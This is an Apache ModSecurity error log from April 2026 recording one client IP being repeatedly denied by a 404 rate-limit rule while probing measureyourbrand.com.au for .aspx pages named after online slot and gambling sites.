[Mon Apr 06 03:31:12.999781 2026] [:error] [pid 5278:tid 5304] [client 93.158.213.25:48200] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "adK4gO7ksfA9gGDfxDoUagAAAA4"]
[Mon Apr 06 03:31:16.406432 2026] [:error] [pid 5278:tid 5296] [client 93.158.213.25:38728] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "adK4hO7ksfA9gGDfxDoUdAAAAAY"]
[Mon Apr 06 03:31:19.808132 2026] [:error] [pid 5375:tid 5390] [client 93.158.213.25:38738] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "adK4h7Rn_OsOP6QTBbUUAwAAAMw"]
[Mon Apr 06 03:31:22.574372 2026] [:error] [pid 5282:tid 5325] [client 93.158.213.25:38754] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "adK4ii4tWnCcNH2JlY4LngAAAEg"]
[Mon Apr 06 03:31:26.259375 2026] [:error] [pid 5287:tid 5358] [client 93.158.213.25:50818] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "adK4jqmqPIaOLESJM9B8ZwAAAI4"]
[Mon Apr 06 03:31:29.836730 2026] [:error] [pid 5278:tid 5308] [client 93.158.213.25:50828] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "adK4ke7ksfA9gGDfxDoUlQAAABI"]
[Mon Apr 06 03:31:33.725503 2026] [:error] [pid 5282:tid 5330] [client 93.158.213.25:50836] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "adK4lS4tWnCcNH2JlY4LqgAAAE0"]
[Mon Apr 06 03:31:37.077519 2026] [:error] [pid 5375:tid 5393] [client 93.158.213.25:58722] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "adK4mbRn_OsOP6QTBbUUNgAAAM8"]
[Mon Apr 06 03:31:40.797910 2026] [:error] [pid 5287:tid 5362] [client 93.158.213.25:58738] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "adK4nKmqPIaOLESJM9B8igAAAJE"]
[Mon Apr 06 03:31:44.183591 2026] [:error] [pid 5278:tid 5304] [client 93.158.213.25:58754] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "adK4oO7ksfA9gGDfxDoUuQAAAA4"]
[Mon Apr 06 03:31:47.540964 2026] [:error] [pid 5287:tid 5345] [client 93.158.213.25:40666] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "adK4o6mqPIaOLESJM9B8oQAAAIE"]
[Mon Apr 06 03:32:18.827449 2026] [:error] [pid 5375:tid 5395] [client 93.158.213.25:40676] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "adK4wrRn_OsOP6QTBbUU1wAAANE"]
[Mon Apr 06 03:32:21.919010 2026] [:error] [pid 5278:tid 5301] [client 93.158.213.25:36452] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "adK4xe7ksfA9gGDfxDoVBgAAAAs"]
[Mon Apr 06 03:32:25.243498 2026] [:error] [pid 5282:tid 5335] [client 93.158.213.25:36464] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "adK4yS4tWnCcNH2JlY4MEQAAAFI"]
[Mon Apr 06 03:32:28.398012 2026] [:error] [pid 5287:tid 5357] [client 93.158.213.25:60268] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "adK4zKmqPIaOLESJM9B9FAAAAI0"]
[Mon Apr 06 03:32:31.323762 2026] [:error] [pid 5282:tid 5321] [client 93.158.213.25:60270] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "adK4zy4tWnCcNH2JlY4MPgAAAEQ"]
[Mon Apr 06 03:32:34.578271 2026] [:error] [pid 5282:tid 5331] [client 93.158.213.25:60286] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "adK40i4tWnCcNH2JlY4MVgAAAE4"]
[Mon Apr 06 03:32:38.030501 2026] [:error] [pid 5287:tid 5358] [client 93.158.213.25:55432] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "adK41qmqPIaOLESJM9B9JwAAAI4"]
[Mon Apr 06 03:32:41.619641 2026] [:error] [pid 5278:tid 5314] [client 93.158.213.25:55436] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "adK42e7ksfA9gGDfxDoVYgAAABg"]
[Mon Apr 06 03:32:44.682169 2026] [:error] [pid 5375:tid 5386] [client 93.158.213.25:55440] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "adK43LRn_OsOP6QTBbUVLQAAAMg"]
[Mon Apr 06 03:32:47.616631 2026] [:error] [pid 5278:tid 5309] [client 93.158.213.25:57532] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "adK43-7ksfA9gGDfxDoVawAAABM"]
[Mon Apr 06 03:32:56.133151 2026] [:error] [pid 35686:tid 35706] [client 93.158.213.25:57548] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "adK46MMKdea6oORd2fwGpQAAAAo"]
[Mon Apr 06 03:32:59.494147 2026] [:error] [pid 35687:tid 35726] [client 93.158.213.25:51352] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "adK4653LtDozV0i8BitsSwAAAEM"]
[Mon Apr 06 03:33:02.501016 2026] [:error] [pid 35688:tid 35763] [client 93.158.213.25:51368] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "adK47uZ85qg4jLsRpQxu2QAAAI0"]
[Mon Apr 06 03:33:05.632673 2026] [:error] [pid 35687:tid 35733] [client 93.158.213.25:51372] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "adK48Z3LtDozV0i8BitsYAAAAEo"]
[Mon Apr 06 03:33:08.615571 2026] [:error] [pid 35687:tid 35735] [client 93.158.213.25:36170] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "adK49J3LtDozV0i8BitsZgAAAEw"]
[Mon Apr 06 03:33:11.592396 2026] [:error] [pid 35687:tid 35730] [client 93.158.213.25:36180] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "adK4953LtDozV0i8BitsagAAAEc"]
[Mon Apr 06 03:33:15.210504 2026] [:error] [pid 35688:tid 35764] [client 93.158.213.25:36188] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "adK4--Z85qg4jLsRpQxu9AAAAI4"]
[Mon Apr 06 03:33:42.457292 2026] [:error] [pid 35688:tid 35773] [client 93.158.213.25:43702] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "adK5FuZ85qg4jLsRpQxvUgAAAJc"]
[Mon Apr 06 03:33:45.575676 2026] [:error] [pid 35686:tid 35700] [client 93.158.213.25:55768] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "adK5GcMKdea6oORd2fwHkAAAAAQ"]
[Mon Apr 06 03:33:48.470335 2026] [:error] [pid 35786:tid 35801] [client 93.158.213.25:55112] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "adK5HGgkfCKTaLhwaKTCcgAAAMg"]
[Mon Apr 06 03:33:51.269396 2026] [:error] [pid 35688:tid 35765] [client 93.158.213.25:55124] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "adK5H-Z85qg4jLsRpQxvYAAAAI8"]
[Mon Apr 06 03:33:54.317181 2026] [:error] [pid 35686:tid 35696] [client 93.158.213.25:55140] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "adK5IsMKdea6oORd2fwHqwAAAAA"]
[Mon Apr 06 03:33:56.989755 2026] [:error] [pid 35688:tid 35760] [client 93.158.213.25:41656] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "adK5JOZ85qg4jLsRpQxvfgAAAIo"]
[Mon Apr 06 03:33:59.717102 2026] [:error] [pid 35786:tid 35796] [client 93.158.213.25:41670] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "adK5J2gkfCKTaLhwaKTCnwAAAMM"]
[Mon Apr 06 03:34:02.598591 2026] [:error] [pid 35688:tid 35750] [client 93.158.213.25:41678] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "adK5KuZ85qg4jLsRpQxvkQAAAIA"]
[Mon Apr 06 03:34:05.533393 2026] [:error] [pid 35688:tid 35757] [client 93.158.213.25:41684] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "adK5LeZ85qg4jLsRpQxvnQAAAIc"]
[Mon Apr 06 03:34:08.444960 2026] [:error] [pid 35786:tid 35804] [client 93.158.213.25:37118] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "adK5MGgkfCKTaLhwaKTCugAAAMs"]
[Mon Apr 06 03:34:11.070820 2026] [:error] [pid 35786:tid 35800] [client 93.158.213.25:37120] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "adK5M2gkfCKTaLhwaKTCyAAAAMc"]
[Mon Apr 06 03:34:13.790821 2026] [:error] [pid 35688:tid 35751] [client 93.158.213.25:37130] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "adK5NeZ85qg4jLsRpQxvrQAAAIE"]
[Mon Apr 06 03:34:16.835279 2026] [:error] [pid 35688:tid 35753] [client 93.158.213.25:44208] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "adK5OOZ85qg4jLsRpQxvtgAAAIM"]
[Mon Apr 06 03:34:19.578021 2026] [:error] [pid 35688:tid 35757] [client 93.158.213.25:44214] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "adK5O-Z85qg4jLsRpQxvvQAAAIc"]
[Mon Apr 06 03:34:22.601513 2026] [:error] [pid 35688:tid 35758] [client 93.158.213.25:44220] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "adK5PuZ85qg4jLsRpQxvwgAAAIg"]
[Mon Apr 06 03:34:25.566326 2026] [:error] [pid 35786:tid 35796] [client 93.158.213.25:44232] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "adK5QWgkfCKTaLhwaKTDFAAAAMM"]
[Mon Apr 06 03:34:28.407434 2026] [:error] [pid 35786:tid 35816] [client 93.158.213.25:49476] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "adK5RGgkfCKTaLhwaKTDJQAAANc"]
[Mon Apr 06 03:34:31.280906 2026] [:error] [pid 35687:tid 35723] [client 93.158.213.25:49486] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "adK5R53LtDozV0i8Bits1wAAAEA"]
[Mon Apr 06 03:34:34.310321 2026] [:error] [pid 35686:tid 35717] [client 93.158.213.25:49488] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "adK5SsMKdea6oORd2fwIGQAAABU"]
[Mon Apr 06 03:34:37.243550 2026] [:error] [pid 35687:tid 35742] [client 93.158.213.25:55578] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "adK5TZ3LtDozV0i8Bits4gAAAFM"]
[Mon Apr 06 03:35:05.335358 2026] [:error] [pid 35686:tid 35715] [client 93.158.213.25:55592] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "adK5acMKdea6oORd2fwIdwAAABM"]
[Mon Apr 06 03:35:08.561805 2026] [:error] [pid 35688:tid 35751] [client 93.158.213.25:52592] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "adK5bOZ85qg4jLsRpQxwEQAAAIE"]
[Mon Apr 06 03:35:11.337066 2026] [:error] [pid 35687:tid 35729] [client 93.158.213.25:52608] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "adK5b53LtDozV0i8BittFwAAAEY"]
[Mon Apr 06 03:35:14.500653 2026] [:error] [pid 35786:tid 35796] [client 93.158.213.25:52618] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adK5cmgkfCKTaLhwaKTD0wAAAMM"]
[Mon Apr 06 03:35:17.837942 2026] [:error] [pid 35687:tid 35723] [client 93.158.213.25:50352] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "adK5dZ3LtDozV0i8BittJAAAAEA"]
[Mon Apr 06 03:35:20.721406 2026] [:error] [pid 35688:tid 35754] [client 93.158.213.25:50360] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "adK5eOZ85qg4jLsRpQxwKwAAAIQ"]
